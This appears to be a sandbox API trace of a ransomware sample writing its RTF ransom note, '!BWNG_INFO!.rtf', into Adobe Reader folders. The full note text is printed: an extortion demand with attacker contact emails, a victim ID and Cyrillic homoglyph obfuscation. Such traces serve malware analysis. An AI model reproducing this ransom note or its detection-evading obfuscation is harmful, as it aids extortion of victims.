fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.495] WriteFile (in: hFile=0x1d4, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.496] CloseHandle (hObject=0x1d4) returned 1 [0040.496] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\!bwng_info!.rtf")) returned 0xffffffff [0040.497] GetLastError () returned 0x2 [0040.497] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a0 [0040.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 